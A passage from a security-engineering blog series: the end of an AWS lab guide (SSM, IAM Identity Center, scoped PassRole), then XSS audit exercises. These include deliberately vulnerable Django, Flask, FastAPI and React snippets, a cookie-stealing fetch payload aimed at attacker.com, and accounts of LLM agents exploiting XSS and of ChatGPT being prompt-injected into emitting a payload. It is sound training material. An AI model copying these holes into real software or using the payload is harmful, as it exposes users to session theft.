        aws ec2 terminate-instances \
            --instance-ids $INSTANCE_ID --profile lab-sso
        echo "Instance terminated. Use lab-create to launch a fresh one."
    else
        echo "Cancelled."
    end
end

⚠️ Fish syntax bug: Use --prompt-str not --prompt for the read command. Using --prompt causes a syntax error that silently skips the confirmation and immediately terminates the instance. Ask me how I know.

Part 9: Verify the Access Key Method Works

lab-status    # → running
lab-connect   # → Starting session with SessionId: your_username_here-....
whoami        # → ssm-user

✅ ssm-user means SSM Session Manager is working end-to-end. No SSH keys, no open ports, no IP whitelisting. Your VPN connection is irrelevant.

Part 10: Why Switch to IAM Identity Center?

The Access Key method works — but it has fundamental security weaknesses. IAM Identity Center addresses all of them.

Property	IAM Access Key	IAM Identity Center
Credential lifetime	Permanent — never expires	8 hours max — auto-expire
MFA on CLI	No — TOTP only (phishing vulnerable)	Yes — YubiKey FIDO2 ✓
Phishing resistant	No — fake page can steal key	Yes — YubiKey is origin-bound
Stored on disk	Yes — `~/.aws/credentials` forever	Temporary token only
GitHub leak risk	Catastrophic — permanent until revoked	Minimal — expired when found
Blast radius if stolen	Full EC2+SSM access forever	At most 8hr remaining session
Revocation	Manual — must find and delete	Instant — delete user or session

The FIDO2 on CLI insight: The reason YubiKey works with Identity Center but not a plain access key is that aws sso login opens a browser — and the browser is where WebAuthn/FIDO2 works. Every CLI session starts with a YubiKey tap.

This maps directly to what SAED — a Security Engineer at Google with 6+ years of experience — wrote in a LinkedIn post listing 40 concepts junior Security Engineers should focus on in 2026. Under the Identity, Access and Secrets category he includes specifically: "Least privilege, just in time and time bound access patterns." (source) IAM Identity Center is the practical implementation of that concept.

Part 11: Method 2 — IAM Identity Center Full Setup

Before setting up Identity Center, delete the static access key. The two methods should not coexist long-term.

Safer sequence: Deactivate the key first (reversible) → set up Identity Center → confirm lab-connect works → then permanently delete the key. Deleting before SSO is confirmed risks losing all CLI access.

Enable IAM Identity Center

AWS Console → search "IAM Identity Center"
→ Enable IAM Identity Center
→ Enable with AWS Organizations
→ Continue → wait 1-2 minutes

Save from the Settings summary:
  Access portal URL: https://d-xxxxxxxxxx.awsapps.com/start
  Primary Region:    us-east-1

IAM Identity Center can only be enabled in a single AWS Region. Match it to your EC2 region.

Configure MFA Settings (Critical)

IAM Identity Center → Settings → Configure MFA

Prompt users for MFA:
  ● Every time they sign in (always-on)

MFA types:
  ☑ Security keys and built-in authenticators (FIDO2)
  ☐ Authenticator apps  ← leave UNCHECKED

If no MFA device:
  ● Require them to register at sign in

→ Save

Authenticator apps (TOTP) is intentionally left unchecked. TOTP is phishing-vulnerable. Enforcing FIDO2-only means every user must have a hardware security key. No weaker fallback permitted.

Create a Permission Set

A permission set is the bridge between an Identity Center user and an AWS account. It answers the question: once this user authenticates, what are they actually allowed to do?

Without a permission set you can authenticate successfully via IAM Identity Center and still have zero ability to do anything in AWS — authentication and authorization are separate steps. The permission set defines the authorization layer: which AWS actions the user can perform, which resources they can touch, and how long their session lasts before requiring re-authentication.

This separation is itself a security principle. It means you can grant a user access to an account without giving them unlimited power inside it — and you can revoke or change their permissions without touching their login credentials.

IAM Identity Center → Permission sets → Create permission set
→ Predefined permission set
→ Policy: PowerUserAccess
→ Permission set name: lab-power-user
→ Session duration: 8 hours
→ Create

What PowerUserAccess allows and denies:

Allows:   ALL AWS actions EXCEPT iam:*, organizations:*, account:*

Explicitly allows (narrow exceptions):
  iam:CreateServiceLinkedRole
  iam:DeleteServiceLinkedRole
  iam:ListRoles
  organizations:DescribeOrganization

Does NOT include: iam:PassRole  ← this matters (see Part 14)

Create an Identity Center User

IAM Identity Center → Users → Add user
→ Username: your_username_here
→ Password: Send an email to this user
→ Email address: your-email@example.com
→ First name / Last name: fill in
→ Next → Add user

Check email → click activation link → set password

Register YubiKey for Identity Center User

IAM Identity Center → Users → your_username_here
→ MFA devices tab → Register device
→ Security key (FIDO2)
→ Insert YubiKey and tap when prompted
→ Register

Assign User to AWS Account

IAM Identity Center → Users → your_username_here
→ AWS accounts tab → Assign accounts
→ Select: your account (your_account_name_here / YOUR_ACCOUNT_ID)
→ Next
→ Select permission set: lab-power-user
→ Assign

Why this assignment matters:

The Identity Center user (your_username_here) is the authentication layer. The AWS account (your_account_name_here) is where all resources live. The permission set (lab-power-user) defines what actions are allowed inside that account. You can assign one user to multiple AWS accounts with different permission sets — that is the real power of Identity Center in multi-account organizations.

Configure AWS CLI for SSO

aws configure sso

# Prompts:
# SSO session name:         lab-sso
# SSO start URL:            https://d-xxxxxxxxxx.awsapps.com/start
# SSO region:               us-east-1
# SSO registration scopes:  sso:account:access  (press Enter)

# Browser opens automatically
# Log in → tap YubiKey
# Browser: "Your credentials have been shared successfully"

# Back in terminal:
# CLI default client Region:  us-east-1
# CLI default output format:  json
# CLI profile name:           lab-sso

Verify Identity Center Works

aws sts get-caller-identity --profile lab-sso

{
    "UserId":  "AROA xxxxxxxxxxxxxxxxxxxx:your_username_here",
    "Account": "YOUR_ACCOUNT_ID",
    "Arn":     "arn:aws:sts::YOUR_ACCOUNT_ID:assumed-role/AWSReservedSSO_lab-power-user_xxxxxxxxxxxxxxxxx/your_username_here"
}

Notice assumed-role in the ARN. These are temporary credentials that expire in 8 hours. The access key showed user/your_username_here — a permanent identity. This is the difference.

✅ IAM Identity Center confirmed working.

Part 12: Create the Launch Template

A Launch Template saves all instance configuration. lab-create uses it to launch an identical fresh instance with one command.

EC2 → Launch Templates → Create launch template

Launch template name:  suricata-lab-template
Description:           Debian 13 + SSM Agent via User Data

AMI:              Debian 13 (official Debian publisher)
Instance type:    t2.micro
Key pair:         Don't include in launch template
Security group:   Select existing → suricata-lab-sg

Advanced details:
  IAM instance profile: suricata-lab-ssm-role
  User data:
    #!/bin/bash
    apt-get update -y
    wget https://s3.amazonaws.com/ec2-downloads-windows/SSMAgent/latest/debian_amd64/amazon-ssm-agent.deb
    dpkg -i amazon-ssm-agent.deb
    systemctl enable amazon-ssm-agent
    systemctl start amazon-ssm-agent

→ Create launch template

Part 13: Update Fish Functions for SSO Profile

Add --profile lab-sso to all functions that make AWS CLI calls. Overwrite the files created in Part 8:

# Rewrite lab-connect
echo 'function lab-connect
    aws ssm start-session --target $INSTANCE_ID --profile lab-sso
end' > ~/.config/fish/functions/lab-connect.fish

# Rewrite lab-status
echo 'function lab-status
    aws ec2 describe-instances --instance-ids $INSTANCE_ID \
        --profile lab-sso \
        --query "Reservations[0].Instances[0].State.Name" \
        --output text
end' > ~/.config/fish/functions/lab-status.fish

# Rewrite lab-start
echo 'function lab-start
    aws ec2 start-instances --instance-ids $INSTANCE_ID --profile lab-sso
    echo "Starting... wait 60 seconds"
end' > ~/.config/fish/functions/lab-start.fish

# Rewrite lab-stop  
echo 'function lab-stop
    aws ec2 stop-instances --instance-ids $INSTANCE_ID --profile lab-sso
    echo "Stopping..."
end' > ~/.config/fish/functions/lab-stop.fish

# Rewrite lab-terminate
echo 'function lab-terminate
    echo "WARNING: Permanently deletes instance and all data on it."
    echo "Instance: $INSTANCE_ID"
    read --prompt-str "Type YES to confirm: " confirm
    if test "$confirm" = "YES"
        aws ec2 terminate-instances \
            --instance-ids $INSTANCE_ID --profile lab-sso
        echo "Instance terminated. Use lab-create to launch a fresh one."
    else
        echo "Cancelled."
    end
end' > ~/.config/fish/functions/lab-terminate.fish

Part 14: Fix the iam:PassRole Error

When you first run lab-create you will hit this:

aws: [ERROR]: An error occurred (UnauthorizedOperation) when calling
the RunInstances operation: You are not authorized to perform:
iam:PassRole on resource: ...suricata-lab-ssm-role...

Why this happens: PowerUserAccess blocks all iam:* actions including iam:PassRole. Without it, your_username_here cannot assign suricata-lab-ssm-role to the new EC2 instance.

Why this matters for security: Without restricting iam:PassRole, a user with EC2 launch permissions could attach an AdministratorAccess role to an instance and then connect to it — escalating from PowerUser to full Administrator through the instance. The restriction closes this path.

The fix: Add a narrow inline policy to lab-power-user that grants iam:PassRole only for this specific role, only to EC2:

IAM Identity Center → Permission sets → lab-power-user
→ Inline policy → Add inline policy

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "iam:PassRole",
      "Resource": "arn:aws:iam::YOUR_ACCOUNT_ID:role/suricata-lab-ssm-role",
      "Condition": {
        "StringEquals": {
          "iam:PassedToService": "ec2.amazonaws.com"
        }
      }
    }
  ]
}

→ Save changes
(Reprovisioning happens automatically — wait ~30 seconds)

Two restrictions make this safe:

Resource — only suricata-lab-ssm-role, not any other role in the account
iam:PassedToService — only to EC2, not Lambda, ECS, or anything else

Part 15: lab-create — Launch Fresh Instances On Demand

lab-create.fish

function lab-create
    echo "Launching new suricata-ids-lab instance..."
    set new_id (aws ec2 run-instances \
        --launch-template LaunchTemplateName=suricata-lab-template \
        --tag-specifications "ResourceType=instance,Tags=[{Key=Name,Value=suricata-ids-lab}]" \
        --profile lab-sso \
        --query "Instances[0].InstanceId" \
        --output text)

    if test -z "$new_id"
        echo "ERROR: Failed to launch instance."
        return 1
    end

    echo "Instance launched: $new_id"
    echo "Updating INSTANCE_ID..."
    set -U INSTANCE_ID $new_id

    echo "Waiting for instance to reach running state..."
    aws ec2 wait instance-running \
        --instance-ids $new_id \
        --profile lab-sso

    echo "Instance is running."
    echo "Waiting 3 minutes for SSM Agent to initialize..."
    sleep 180

    echo "Ready. Run lab-connect to start your session."
end

What this does step by step:

Calls aws ec2 run-instances using the Launch Template — no need to specify AMI, security group, IAM profile, or User Data manually
Captures the new instance ID
Automatically runs set -U INSTANCE_ID — all other functions point to the new instance immediately
aws ec2 wait instance-running — blocks until AWS confirms the instance is running
sleep 180 — waits for the User Data SSM Agent install to complete
Prints "Ready"

Part 16: Complete Daily Workflow

# Start of session
lab-login      # browser opens → tap YubiKey → 8hr credentials issued

# Launch fresh instance
lab-create     # launches, waits for running, waits 3min for SSM Agent

# Do work
lab-connect    # shell as ssm-user — no SSH, no ports, no keys

# End of session
lab-terminate  # permanently deletes instance → zero ongoing cost

Between sessions:

No running EC2 instance — no compute charges
No EBS volume — no storage charges
No static credentials on disk — credentials expired
Every lab-create starts completely fresh from the Launch Template

Metric	Access Key	Identity Center
Auth on CLI	Static key, no MFA	YubiKey tap per session
Credentials expire	Never	Every 8 hours
Port 22 required	No (SSM)	No (SSM)
SSH keys required	No	No
VPN compatibility	Irrelevant	Irrelevant
Cost when not working	Stop: ~$0.08/GB EBS	Terminate: $0.00

What Curriculum Weeks This Covers

This went well beyond the Week 9 IDS lab it was meant to support:

Topic	Curriculum Week
EC2, security groups, IAM roles, SSM	Week 15
AWS IAM users, access keys, MFA	Week 15
IAM Identity Center (SSO) setup	Week 49
Permission sets, PassRole patterns	Week 49
Launch Templates, instance lifecycle	Week 50

Weeks 49-50 are normally scheduled for January 2027. Completed early as infrastructure prerequisites for the IDS lab.

Common Issues and Fixes

Issue 1 — SSO Token Expired

aws: [ERROR]: Error when retrieving token from sso: Token has expired and refresh failed

This is IAM Identity Center working exactly as designed. The 8-hour session expired. Fix:

lab-login

Browser opens → tap YubiKey → new 8-hour session issued. Then continue normally:

lab-status
lab-connect

This is the entire cost of IAM Identity Center over static access keys — one YubiKey tap per 8-hour session. A fair tradeoff for credentials that auto-expire and can never be leaked permanently.

Issue 2 — lab-status Returns "None"

lab-status
# → None

The previous instance was terminated. INSTANCE_ID is pointing to a dead instance ID. Fix:

lab-create

lab-create launches a fresh instance and automatically runs set -U INSTANCE_ID with the new ID. All other functions update immediately. No manual intervention needed.

Issue 3 — lab-connect Fails After lab-create

If lab-connect fails immediately after lab-create completes:

SessionManagerPlugin is not found

Install the Session Manager plugin locally (see Part 7). One-time setup.

If the plugin is installed but you still get "instance not reachable":

# The SSM Agent may still be initializing
# Wait 2-3 more minutes and try again
lab-connect

The sleep 180 in lab-create handles most cases but on a slow boot it may need another minute.

Issue 4 — lab-terminate Skips Confirmation and Immediately Terminates

You used --prompt instead of --prompt-str in the function definition. Fish requires --prompt-str. Rewrite the function:

echo 'function lab-terminate
    echo "WARNING: Permanently deletes instance and all data on it."
    echo "Instance: $INSTANCE_ID"
    read --prompt-str "Type YES to confirm: " confirm
    if test "$confirm" = "YES"
        aws ec2 terminate-instances \
            --instance-ids $INSTANCE_ID --profile lab-sso
        echo "Instance terminated. Use lab-create to launch a fresh one."
    else
        echo "Cancelled."
    end
end' > ~/.config/fish/functions/lab-terminate.fish

The Open Source Project Behind This

These exercises are part of a larger project: an open source repository of LeetCode-style secure coding exercises designed to:

Train developers to write secure code
Prepare security engineers for technical interviews

If this post was useful, the best thing you can do is star the repo:

Support this project — Star it on GitHub! ⭐

Stars help the repo appear in GitHub search and signal to AI companies that this dataset is worth using.

One More Thing — Quick Poll

Why do you read security engineering blog posts? Your answer helps me write better content:

👉 Take the poll

Takes 10 seconds.

Next in This Series

Week 9 Part 2 — Now that the lab is running, the actual Suricata IDS setup: installing Suricata on Debian 13, writing 5 custom detection rules (SQL injection focus), PCAP analysis, and the AWS Network Firewall connection — every Suricata rule in this lab is directly portable to AWS Network Firewall because AWS uses Suricata-compatible IPS rules natively since November 2020.

Series: Security Engineering Interview Prep | Week 9 | March 2026

GitHub: fosres/SecEng-Exercises

Week 9: Audit 70 FullStack Snippets for XSS

fosres — Tue, 10 Mar 2026 22:53:01 +0000

70 XSS Code Audit Cases: Can You Find Every Bug Before an LLM Does It For Them?

series: Security Engineering Interview Prep

Star SecEng-Exercises on GitHub ⭐

LLMs Are Already Exploiting XSS. The Research Proves It.

No government or criminal organization has been publicly attributed with using an LLM to exploit XSS in the wild — yet. But the academic evidence that it is coming, and soon, is unambiguous.

In 2024, researchers at the University of Illinois gave a GPT-4 agent a list of real, publicly disclosed CVEs and told it to exploit them autonomously — no human guidance, no hints beyond the CVE description. GPT-4 achieved an 87% success rate. Every other model they tested, and every open-source vulnerability scanner they ran, found zero. The researchers described this as an "emergent capability." One of GPT-4's only two failures was an XSS vulnerability — and it failed not because XSS was beyond it, but because the target application's JavaScript-heavy navigation made it hard for the agent to reach the vulnerable form field in the first place. The underlying exploit logic was not the obstacle.

The same research group then went further. They built teams of specialized LLM agents — including a dedicated XSS agent — and demonstrated that these agent teams could autonomously exploit zero-day XSS vulnerabilities in open-source CMS software (CVE-2024-27757, CVE-2024-34061) without being given any vulnerability description at all. The agents browsed the application, identified unescaped output, crafted payloads, and confirmed execution.

The closest real-world case so far comes from a commercial penetration test documented by security firm Vaadata in 2024. A company had integrated the ChatGPT API into a training platform. By crafting a description that caused ChatGPT's own output to contain a secondary malicious prompt, the pentesters got ChatGPT to emit a working XSS payload in a downstream response — exploiting an unsanitized output sink the developers had not considered an attack surface because it was driven by AI, not by user input directly.

That is the new attack surface: not just your input fields, but your AI's output fields.

XSS is not a new vulnerability class. It has been on the OWASP Top 10 since the list was first published. Every web security framework ships with autoescaping enabled by default. And yet it remains one of the most consistently discovered vulnerabilities in real-world penetration tests and bug bounty programs — and now, in autonomous LLM agent runs. The gap between "the framework protects you" and "this application is actually safe" is where real bugs live, and that gap is filled with misused APIs, wrong-context escaping, and misplaced sanitization logic.

The defences have not changed. But the speed and scale at which the other side can now find the holes has.

This blog post is a training set for your brain.

🔒 These cases are part of SecEng-Exercises — an open source repository of LeetCode-style secure coding challenges designed to help train both humans and AI models to write secure code. If this kind of challenge is useful to you, a ⭐ on GitHub helps the project reach more developers and security engineers. More challenges covering SQL injection, authentication flaws, API security, and cryptographic misuse are being added weekly.

The Challenge

Below are 70 code audit cases. Each presents a realistic web application snippet — Django, Flask, FastAPI, vanilla JavaScript, or React — containing zero, one, or two security bugs related to XSS.

For each case, your job is to do three things:

1. Identify the XSS type (if any)

Reflected XSS — the payload comes from the current request (URL parameter, form field) and is reflected back in the same response
Stored XSS — the payload is persisted (database, in-memory store) and rendered to a different user or a later request
DOM XSS — the payload never touches the server; it is injected and executed entirely in client-side JavaScript
No XSS — the code is functionally safe, but may have display issues worth noting

2. Classify the escaping error

Missing escaping — no escaping of any kind is applied at the vulnerable output point
Wrong context escaping — escaping is applied, but for the wrong output context (e.g. HTML escaping applied to a JavaScript string context)
Misplaced escaping — escaping is applied in the right context but at the wrong layer (e.g. escaping at input/storage time instead of output/render time, then bypassed by a | safe filter downstream)

3. Write the fix

Edit the flawed code snippet so it contains no XSS vulnerabilities and no display issues. Your fix must not break the intended functionality of the code.

Critical Reference Tables

Before you begin, study these tables. They will save you from the most common classification mistakes.

Table 1: The Five Ways Autoescaping Gets Bypassed

Understanding why autoescaping fails is more important than memorising that it exists. Every major Python web framework ships with HTML autoescaping enabled by default for template variables. But all of them provide escape hatches — functions and filters that tell the template engine "I've already handled this, don't escape it." The bug in every case below is that the content has not actually been made safe before that trust is granted.

Mechanism	Framework	What it Returns	What the Template Does
`Markup(x)`	Flask / Jinja2	`Markup` object	Skips autoescaping — treats value as already safe HTML
`{{ x \	safe }}`	Jinja2 (Flask & FastAPI)	`Markup` object
`mark_safe(x)`	Django	`SafeData` object	Skips autoescaping — treats value as already safe HTML
`{% autoescape off %}`	Django	Disables check entirely	Skips autoescaping for all variables inside the block
`format_html(x)` (no `{}` args)	Django	`SafeString` object	Skips autoescaping — treats value as already safe HTML

Why this table matters: Cases 53–59 all involve one of these five mechanisms. Without understanding this table, you will look at {{ comment }} in a template and think it is safe — because it has no | safe filter — without realising the value itself is already a SafeString from an upstream format_html() call. The vulnerability is invisible at the template layer if you do not trace the type of the value being rendered.

Key principle: Store raw strings. Escape at render time. Never mark a value as safe before you have escaped it.

Table 2: JavaScript Context Escaping by Framework

HTML autoescaping converts < to <, > to >, " to ", and so on. This is sufficient when a value is rendered in HTML body context — inside a <p>, <div>, <h1>, etc. It is not sufficient when a value is rendered inside a JavaScript string.

Consider: var user = "{{ username }}";

If username is "; fetch('https://attacker.com?q='+document.cookie);//, HTML escaping does nothing — the payload contains no HTML special characters. The " closes the JavaScript string, and the fetch executes.

Framework	Template Filter	Notes
Django	`{{ value \	escapejs }}`
Flask (Jinja2)	`{{ value \	tojson }}`
FastAPI (Jinja2)	`{{ value \	tojson }}`

Why this table matters: Using | escapejs in a Flask template, or using | tojson in a Django template, is a wrong-context escaping mistake even though the intent is correct. Framework choice determines which filter to reach for.

Table 3: Flask `request` Object — Which Attribute for Which Input Source

A common mistake in Flask is reading from the wrong attribute of the request object, which can mask where user-controlled input actually comes from. Understanding the source of each value is important for correctly scoping the attack surface.

Attribute	Source	HTTP Method	Content-Type Required
`request.args`	URL query string	Any (GET is conventional)	None
`request.form`	POST body	POST	`application/x-www-form-urlencoded` or `multipart/form-data`
`request.get_json()`	POST/PUT/PATCH body	POST, PUT, PATCH	`application/json`
`request.data`	Raw body	Any non-form type	Any non-form Content-Type
`request.files`	POST body	POST	`multipart/form-data`

Why this table matters: When classifying a case as Reflected vs Stored XSS, you need to know whether the input comes from the current request (request.args, request.form) or from a stored source (database, in-memory list). request.args almost always means GET and therefore Reflected XSS. request.form with a POST route storing to a database means Stored XSS.

Table 4: Defense in Depth — Two Coordinated Fixes (Case 31)

Most XSS bugs require one fix at one layer. Case 31 is the exception: it requires two coordinated fixes at different layers. This case is highlighted explicitly because either fix alone leaves a residual vulnerability.

The pattern: a server-side template injects a value into a JavaScript string argument, which is then passed to a function that writes to an innerHTML DOM sink.

<!-- Layer 1: JS string context in template -->
showBanner("{{ msg }}");

<!-- Layer 2: innerHTML DOM sink inside the function -->
function showBanner(msg) {
    document.getElementById("banner").innerHTML = "<p>Notification: " + msg + "</p>";
}

Fix Layer 1 alone (| escapejs on the template): An attacker who can store a value containing <img src=x onerror=...> will have it backslash-escaped in the JS string — but once msg arrives inside showBanner(), the DOM still parses it via innerHTML. Layer 2 is still vulnerable.

Fix Layer 2 alone (textContent in showBanner()): An attacker who can break out of the JS string via "); will execute arbitrary code before showBanner() is ever called. Layer 1 is still vulnerable.

Both fixes are required simultaneously. This is defense in depth — neither layer alone closes the attack surface.

Now go to work.

The 70 Cases

Case 1

# views.py
from django.shortcuts import render

def search(request):
    query = request.GET.get("q", "")
    results = []  # imagine DB results here
    return render(request, "results.html", {"query": query, "results": results})

<!-- results.html -->
<html>
<body>
  <h2>Results for: {{ query | safe }}</h2>
  {% for result in results %}
    <p>{{ result.title }}</p>
  {% endfor %}
</body>
</html>

Case 2

# views.py
from django.shortcuts import render
from django.utils.html import escape

def user_profile(request):
    username = escape(request.GET.get("name", ""))
    return render(request, "profile.html", {"username": username})

<!-- profile.html -->
<html>
<head>
  <script>
    var currentUser = "{{ username }}";
    console.log("Logged in as: " + currentUser);
  </script>
</head>
<body><h1>Profile</h1></body>
</html>

Case 3

# views.py
from django.shortcuts import render
from django.utils.html import escape
from django.utils.safestring import mark_safe

def comment_list(request):
    raw_comments = Comment.objects.values_list("body", flat=True)
    safe_comments = [mark_safe(escape(c)) for c in raw_comments]
    return render(request, "comments.html", {"comments": safe_comments})

<!-- comments.html -->
<ul>
  {% for comment in comments %}
    <li>{{ comment }}</li>
  {% endfor %}
</ul>

Case 4

# app.py
from flask import Flask, request, render_template_string

app = Flask(__name__)

TEMPLATE = """
<html>
<body>
  <h1>Hello, %s!</h1>
</body>
</html>
"""

@app.route("/greet")
def greet():
    name = request.args.get("name", "guest")
    return render_template_string(TEMPLATE % name)

Case 5

# app.py
from flask import Flask, request, render_template_string
from urllib.parse import quote

app = Flask(__name__)

@app.route("/redirect-preview")
def redirect_preview():
    destination = request.args.get("to", "/")
    safe_dest = quote(destination, safe="/:?=&")
    return render_template_string("""
    <html>
    <body>
      <a href="{{ dest }}">Click here to continue</a>
    </body>
    </html>
    """, dest=safe_dest)

Case 6

# app.py
from flask import Flask, request, render_template
import html

app = Flask(__name__)

@app.route("/comment")
def comment():
    user_comment = request.args.get("comment", "")
    safe_comment = html.escape(user_comment)
    return render_template("comment.html", comment=safe_comment)

<!-- templates/comment.html -->
<html>
<body>
  <p>Your comment: {{ comment }}</p>
</body>
</html>

Case 7

# main.py
from fastapi import FastAPI
from fastapi.responses import HTMLResponse

app = FastAPI()

@app.get("/search")
def search(q: str = ""):
    html = f"""
    <html>
    <body>
      <h2>Results for: {q}</h2>
    </body>
    </html>
    """
    return HTMLResponse(content=html)

Case 8

# main.py
from fastapi import FastAPI
from fastapi.responses import JSONResponse

app = FastAPI()

@app.get("/api/username")
def get_username(name: str = ""):
    return JSONResponse(content={"username": name})

<!-- index.html (served separately) -->
<html>
<body>
  <div id="greeting"></div>
  <script>
    fetch("/api/username?name=" + location.search.split("name=")[1])
      .then(r => r.json())
      .then(data => {
        document.getElementById("greeting").innerHTML = "Hello, " + data.username;
      });
  </script>
</body>
</html>

Case 9

# main.py
from fastapi import FastAPI
from fastapi.responses import JSONResponse
import html

app = FastAPI()

@app.get("/api/comment")
def get_comment(text: str = ""):
    safe_text = html.escape(text)
    return JSONResponse(content={"comment": safe_text})

// App.jsx (React frontend)
import { useEffect, useRef } from "react";

function CommentBox({ comment }) {
  const ref = useRef(null);

  useEffect(() => {
    ref.current.innerHTML = comment;
  }, [comment]);

  return <div ref={ref} />;
}

async function loadComment() {
  const params = new URLSearchParams(window.location.search);
  const res = await fetch("/api/comment?text=" + params.get("text"));
  const data = await res.json();
  return <CommentBox comment={data.comment} />;
}

Case 10

<!-- index.html -->
<html>
<body>
  <div id="username-display"></div>
  <div id="bio-display"></div>

  <script>
    const params = new URLSearchParams(window.location.search);

    const username = params.get("username") || "guest";
    const bio = params.get("bio") || "";

    document.getElementById("username-display").innerHTML = "User: " + username;
    document.getElementById("bio-display").innerHTML = "Bio: " + bio;
  </script>
</body>
</html>

Case 11

// hooks/useRichText.js
import { useEffect, useRef } from "react";

export function useRichText(content) {
  const ref = useRef(null);

  useEffect(() => {
    if (ref.current) {
      ref.current.innerHTML = content;
    }
  }, [content]);

  return ref;
}

// App.jsx
import { useRichText } from "./hooks/useRichText";

function ReviewCard({ reviewText }) {
  const ref = useRichText(reviewText);
  return <div className="review" ref={ref} />;
}

async function loadReview() {
  const params = new URLSearchParams(window.location.search);
  const reviewText = params.get("review") || "";
  return <ReviewCard reviewText={reviewText} />;
}

Case 12

<!-- index.html -->
<html>
<body>
  <div id="search-banner"></div>

  <script>
    function renderBanner(container, label, value) {
      const encoded = encodeURIComponent(value);
      container.innerHTML = "<p>" + label + ": " + encoded + "</p>";
    }

    const params = new URLSearchParams(window.location.search);
    const query = params.get("q") || "";

    renderBanner(
      document.getElementById("search-banner"),
      "You searched for",
      query
    );
  </script>
</body>
</html>

Case 13

# views.py
from django.shortcuts import render
from myapp.models import Announcement

def announcements(request):
    items = Announcement.objects.values_list("body", flat=True)
    return render(request, "announcements.html", {"items": items})

<!-- announcements.html -->
<html>
<body>
  <h2>Latest Announcements</h2>
  <ul>
    {% autoescape off %}
      {% for item in items %}
        <li>{{ item }}</li>
      {% endfor %}
    {% endautoescape %}
  </ul>
</body>
</html>

Case 14

# app.py
from flask import Flask, request, render_template
from markupsafe import Markup

app = Flask(__name__)

@app.route("/welcome")
def welcome():
    username = request.args.get("name", "guest")
    greeting = Markup("Welcome, %s!" % username)
    return render_template("welcome.html", greeting=greeting)

<!-- templates/welcome.html -->
<html>
<body>
  <p>{{ greeting }}</p>
</body>
</html>

Case 15

# main.py
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates

app = FastAPI()
templates = Jinja2Templates(directory="templates")

@app.get("/dashboard")
def dashboard(request: Request, username: str = "guest"):
    user_data = {"name": username, "role": "viewer"}
    return templates.TemplateResponse(
        "dashboard.html", {"request": request, "user_data": user_data}
    )

<!-- templates/dashboard.html -->
<html>
<body>
  <h1>Dashboard</h1>
  <script>
    var userData = {{ user_data }};
    console.log("Logged in as:", userData.name);
  </script>
</body>
</html>

Case 16

# views.py
from django.shortcuts import render

def profile(request):
    css_class = request.GET.get("theme", "default")
    return render(request, "profile.html", {"css_class": css_class})

<!-- profile.html -->
<html>
<body>
  <div class={{ css_class }}>
    <p>Welcome to your profile.</p>
  </div>
</body>
</html>

Case 17

# app.py
from flask import Flask, request, render_template
from markupsafe import escape

app = Flask(__name__)

comments = []

@app.route("/comment", methods=["POST"])
def add_comment():
    body = request.form.get("body", "")
    comments.append(str(escape(body)))
    return "Comment saved.", 200

@app.route("/comments")
def view_comments():
    return render_template("comments.html", comments=comments)

<!-- templates/comments.html -->
<html>
<body>
  <h2>Comments</h2>
  <ul>
    {% for comment in comments %}
      <li>{{ comment | safe }}</li>
    {% endfor %}
  </ul>
</body>
</html>

Case 18

<!DOCTYPE html>
<html>
<body>
  <h1>Product Search</h1>
  <div id="results"></div>

  <script>
    const query = decodeURIComponent(window.location.hash.substring(1));

    document.getElementById("results").innerHTML =
      "You searched for: <strong>" + query + "</strong>";
  </script>
</body>
</html>

Case 19

// components/Bio.jsx
function Bio({ username }) {
  const [bio, setBio] = React.useState("");
  const bioRef = React.useRef(null);

  React.useEffect(() => {
    fetch(`/api/users/${username}/bio`)
      .then(res => res.json())
      .then(data => setBio(data.bio));
  }, [username]);

  React.useEffect(() => {
    if (bioRef.current) {
      bioRef.current.innerHTML = bio;
    }
  }, [bio]);

  return (
    <div>
      <h2>About {username}</h2>
      <div ref={bioRef} />
    </div>
  );
}

Case 20

# app.py
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route("/redirect")
def redirect_user():
    destination = request.args.get("dest", "/home")
    return render_template("redirect.html", destination=destination)

<!-- templates/redirect.html -->
<html>
<body>
  <p>Click below to continue:</p>
  <a href="{{ destination }}">Continue</a>
</body>
</html>

Case 21

<!DOCTYPE html>
<html>
<body>
  <h1>Notifications</h1>
  <div id="notification-bar"></div>

  <script>
    window.addEventListener("message", function(event) {
      const msg = event.data;
      document.getElementById("notification-bar").innerHTML =
        "<p>New message: " + msg + "</p>";
    });
  </script>
</body>
</html>

Case 22

# views.py
from django.shortcuts import render
from django.utils.html import format_html

def user_badge(request):
    username = request.GET.get("user", "guest")
    role = request.GET.get("role", "viewer")
    badge = format_html(
        "<span class='badge'>{}</span> logged in as " + username,
        role
    )
    return render(request, "badge.html", {"badge": badge})

<!-- badge.html -->
<html>
<body>
    <div id="header">
        {{ badge | safe }}
    </div>
</body>
</html>

Case 23

# main.py
from fastapi import FastAPI, Request
from fastapi.templating import Jinja2Templates
from markupsafe import escape

app = FastAPI()
templates = Jinja2Templates(directory="templates")

reviews = []

@app.post("/review")
async def add_review(request: Request):
    body = await request.json()
    clean = str(escape(body.get("text", "")))
    reviews.append(clean)
    return {"status": "saved"}

@app.get("/reviews")
async def view_reviews(request: Request):
    return templates.TemplateResponse(
        "reviews.html", {"request": request, "reviews": reviews}
    )

<!-- templates/reviews.html -->
<html>
<body>
    <h2>Customer Reviews</h2>
    <ul>
        {% for review in reviews %}
            <li>{{ review | safe }}</li>
        {% endfor %}
    </ul>
</body>
</html>

Case 24

# views.py
from django.shortcuts import render
from django.utils.html import mark_safe

def search(request):
    query = request.GET.get("q", "")
    safe_query = mark_safe(query)
    return render(request, "search.html", {"query": safe_query})

<!-- search.html -->
<html>
<body>
    <h1>Search</h1>
    <form method="GET" action="/search">
        <input type="text" name="q" value="{{ query }}">
        <button type="submit">Search</button>
    </form>
</body>
</html>

Case 25

<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <h1>Welcome</h1>
    <div id="content">Loading your page...</div>

    <script>
        const params = new URLSearchParams(window.location.search);
        const page = params.get("page") || "Home";

        document.title = page;
        document.getElementById("content").innerHTML =
            "<h2>You are viewing: " + page + "</h2>";
    </script>
</body>
</html>

Case 26

# app.py
from flask import Flask, request, render_template
from markupsafe import escape

app = Flask(__name__)

@app.route("/login", methods=["POST"])
def login():
    username = request.form.get("username", "")
    password = request.form.get("password", "")

    if not username or not password:
        error = escape("Error: username and password are required.")
        return render_template("login.html", error=error)

    if username != "admin" or password != "secret":
        error = escape(f"Error: invalid credentials for user '{username}'.")
